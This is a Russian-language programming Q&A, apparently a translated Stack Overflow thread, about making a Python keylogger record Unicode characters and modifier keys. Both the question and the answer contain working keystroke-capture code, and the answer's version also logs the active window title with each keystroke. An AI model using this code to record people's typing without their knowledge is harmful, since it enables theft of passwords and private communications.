Могу ли я прочитать значения Unicode, используя pyHook?

Я создал простую программу кейлоггинга. Все, что набрано на клавиатуре, отправляется в файл log.txt. Проблема в том, что мой код работает только для кода ASCII. Когда я печатаю греческие символы, к ним относятся как к английским.

Я хочу, чтобы мой код:

  1. Принять греческие символы или другие языки тоже (как правило, все виды символов)
  2. Журнал событий, таких как Alt, Ctrl и т. Д.

Мой код до сих пор:

import pyHook , pythoncom , sys , logging , os

file_log = "C:\\Users\\admin\\Desktop\\New folder\\log.txt"
f = open(file_log , 'w')
try:
    f.seek(0)
    f.truncate()
finally:
    f.close()

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log,level = logging.DEBUG , format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    key = chr(event.Ascii)
    print key
    if (key == 'p'):
            os.startfile("C:\\Users\\admin\\Desktop\\New folder\\log.txt")
            sys.exit()
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

Должна ли моя программа принимать Unicode?

Как это можно сделать?

1 ответ

Я бы предложил вам использовать другой модуль. Я сам пытался использовать PyHook, но это вызывало у меня проблемы при нажатии deadkeys ('`^) Обычно другие языки, которые используют специальные буквы, такие как á, содержат deadkeys. PyHook плохо с ними справляется. Модуль, которым я сейчас пользуюсь, это клавиатура. Клавиатура правильно обрабатывает мертвые клавиши и не показывает странного поведения при столкновении с ними. Может быть, клавиатура - это решение и для вас. Пример использования клавиатуры:

from keyboard import on_press, on_release, wait
from win32gui import GetWindowText, GetForegroundWindow
from datetime import datetime

def display(event, key):
    global ctrlpressed, shiftpressed, lastwindow
    if lastwindow != GetWindowText(GetForegroundWindow()):
        lastwindow = GetWindowText(GetForegroundWindow())
        print("New Window: " + lastwindow)
    print('{0:8} {1:3} {2:5} {3:5} {4}'.format(datetime.fromtimestamp(event.time).strftime('%H:%M:%S'), event.scan_code, str(ctrlpressed), str(shiftpressed), key))

def KeyPressed(event):
    global ctrlpressed, shiftpressed
    if(event.name == 'left shift' or event.name == 'right shift'):
        shiftpressed = True;
    elif(event.name == 'left ctrl' or event.name == 'right ctrl'):
        ctrlpressed = True;
    else:
        display(event, event.name)

def KeyReleased(event):
    global ctrlpressed, shiftpressed
    if(event.name == 'left shift' or event.name == 'right shift'):
        shiftpressed = False;
    elif(event.name == 'left ctrl' or event.name == 'right ctrl'):
        ctrlpressed = False;

ctrlpressed = shiftpressed = False;
lastwindow = "";
on_press(KeyPressed)
on_release(KeyReleased)
wait()

Проверено на Python 3.5

Другие вопросы по тегам